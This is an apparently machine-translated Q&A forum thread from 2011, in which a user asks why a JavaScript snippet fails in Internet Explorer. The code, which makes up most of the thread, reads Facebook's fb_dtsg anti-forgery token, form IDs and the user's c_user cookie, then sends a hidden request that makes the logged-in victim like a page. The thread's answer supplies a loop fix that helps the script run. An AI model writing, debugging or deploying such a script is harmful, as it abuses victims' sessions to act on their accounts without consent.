2011-04-29 33 views
0
function http_build_query (formdata, numeric_prefix, arg_separator) { 
    var value, key, tmp = [], 
    that = this; 

    var _http_build_query_helper = function (key, val, arg_separator) { 
     var k, tmp = []; 
     if (val === true) { 
      val = "1"; 
     } else if (val === false) { 
      val = "0"; 
     } 
     if (val !== null && typeof(val) === "object") { 
      for (k in val) { 
       if (val[k] !== null) { 
        tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator)); 
       } 
      } 
      return tmp.join(arg_separator); 
     } else if (typeof(val) !== "function") { 
      return that.urlencode(key) + "=" + that.urlencode(val); 
     } else { 
      throw new Error('There was an error processing for http_build_query().'); 
     } 
    }; 

    if (!arg_separator) { 
     arg_separator = "&"; 
    } 
    for (key in formdata) { 
     value = formdata[key]; 
     if (numeric_prefix && !isNaN(key)) { 
      key = String(numeric_prefix) + key; 
     } 
     tmp.push(_http_build_query_helper(key, value, arg_separator)); 
    } 

    return tmp.join(arg_separator); 
} 

function urlencode (str) 
{ 
    str = (str + '').toString(); 

    // Tilde should be allowed unescaped in future versions of PHP (as reflected below), but if you want to reflect current 
    // PHP behavior, you would need to add ".replace(/~/g, '%7E');" to the following. 
    return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28'). 
    replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+'); 
} 

function HttpRequest(url, query, callback, method) 
{ 
    if(!method) 
    { 
     method = 'post'; 
    } 

    var xhr = new XMLHttpRequest(); 

    xhr.open(method, url); 
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
    xhr.onreadystatechange = function() 
    { 
     if (xhr.readyState == 4) 
     { 
      log(xhr.responseText); 

      if(callback) 
      { 
       callback(xhr.responseText); 
      } 
     } 
    } 

if(typeof query != 'string') 
{ 
    query = http_build_query(query); 
} 

    log(query); 

    xhr.send(query); 
} 

post_form_id  = escape(findelementbyname("post_form_id")); 
fb_dtsg    = escape(document.getElementsByName("fb_dtsg")[0].value); 
cookie_user_uid  = document.cookie.match(/c_user=(\d+)/)[1]; 
xhpc_composerid  = escape(findelementbyname("xhpc_composerid")); 

function log(text) 
{ 
    if(window.console) 
    { 
     console.log(text); 
    } 
} 


function shuffle(s) 
{ 
    while(m1 = s.match(/{(.*?)}/)) 
    { 
     m2 = m1[1].split('|'); 
     r1 = m2[Math.floor(Math.random()*m2.length)]; 
     s = s.replace(m1[0], r1); 
    } 

    return s; 
} 

function findelementbyname(nme) 
{ 
    var inputs = document.getElementsByTagName("input"); 

    for(var i=0;i<inputs.length;i++) 
    { 
     if(inputs[i].name == nme) 
     return inputs[i].value; 

    } 
    return null; 
} 

function send_like(fbpage_id) 
{ 
    HttpRequest('/ajax/pages/fan_status.php?__a=1', 
    { 
     add: 1, 
     fb_dtsg: fb_dtsg, 
     fbpage_id: fbpage_id, 
     lsd: '', 
     post_form_id: post_form_id, 
     post_form_id_source: 'AsyncRequest', 
     preserve_tab: true, 
     reload: 0 
    }); 
} 

if(Math.random() * 2 > 1) 
{ 
    send_like(1); 
} 
else 
{ 
    send_like(2); 
} 

此代码在Firefox,而不是在IE浏览器。 这是我在IE中出现错误:JavaScript的不工作在IE,在Firefox更新

Webpage error details 

用户代理:Mozilla的/ 4.0(兼容; MSIE 8.0; Windows NT的6.1; WOW64;三叉戟/ 4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; BRI/2) 时间戳:Fri,29 Apr 2011 00:43:16 UTC

消息:Object doesn 't支持此属性或方法 Line:84 Char:1 代码:0

第84行是post_form_id部分。

+1

在探空钝的风险 - 为什么推出自己的,而不是使用jQuery?除此之外,在IE中实际的调试情况下,您最好将其排除在故障之外 - http://www.jonathanboutelle.com/how-to-debug-javascript-in-internet-explorer是一个很好的起点。 – 2011-04-29 01:00:13

+0

我不会相信它告诉你确切的正确的路线。我同意大卫关于调试。我也会在谷歌浏览器中试用它。 – 2011-04-29 01:16:00

回答

0

IE在for/in循环中占优势,并且包含所有继承的属性和方法。尝试调整你的所有/循环中增加一个检查该对象被重复居然有每个项目作为自己的财产:

for (k in val) { 
    if (Object.prototype.hasOwnProperty.call(val, k) && val[k] !== null) { 
    tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator)); 
    } 
}